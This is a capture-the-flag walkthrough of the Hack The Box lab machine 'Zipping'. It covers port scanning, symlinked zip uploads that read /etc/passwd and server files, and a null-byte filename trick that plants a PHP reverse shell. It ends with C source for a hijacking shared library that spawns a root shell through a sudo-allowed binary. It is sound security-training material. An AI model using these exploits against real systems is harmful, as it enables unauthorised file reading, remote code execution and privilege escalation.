Zipping

User flag

Initial nmap:

$ nmap -sC -sV zipping.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-26 19:34 CDT
Nmap scan report for zipping.htb (10.10.11.229)
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d6eec022d0f6a3860c6aaac1ee0c284 (ECDSA)
|_  256 eb9511c7a6faad74aba2c5f6a4021841 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.91 seconds

The website has an upload page, which expects a zip file with a pdf in it. There is a filesize limit of 300kb. After uploading, there is a link to open the pdf to verify it worked correctly.

It's possible to create a symlink to an arbitrary file, then zip it:

ln -s /etc/passwd file.pdf
zip file.zip file.pdf

We can then read the file with curl:

curl http://10.10.11.229/uploads/cfa961ffd3425f17c688951397bac1d6/test.pdf
#!/bin/sh
while true ; do
        rm file.*
        read MYFILE
        sudo mkdir -p $(dirname $MYFILE)
        sudo touch $MYFILE
        ln -s $MYFILE file.pdf
        zip --symlinks file.zip file.pdf
        read URL
        curl $URL --output -
        echo -------------------------------------------------------------------------
done

Accessing /etc/apache2/sites-available/000-default.php shows that the website is hosted at /var/www/html, with indexes disabled for /var/www/html/uploads.

Looking at the uploads.php script, the filenames are put straight into a shell command:

echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');

I tried to get code execution using special filenames, but was unsuccessful.

The next thing I tried was adding a null byte in the filename after .php, so that it would be parsed differently by the zip extraction. Note that the zip index does not need to match the actual filename. This is done by changing the last occurence of the filename using hexedit.

zip out.zip revshell.phpa.pdf
hexedit out.zip

Then catch the reverse shell and get the user flag.

Root flag

sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

The program asks for a password when run, which we can get with strings

strings /usr/bin/stock

Running strace on the program shows that it reads /home/rektsu/.config/libcounter.so, so we should be able to put our own file there:

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        system("/bin/bash -p");
}
gcc -c -o libcounter.o wrapper.c
gcc -shared -o libcounter.so libcounter.o
cp libcounter.so ~/.config/libcounter.so
sudo stock

We then have a root shell and can get the flag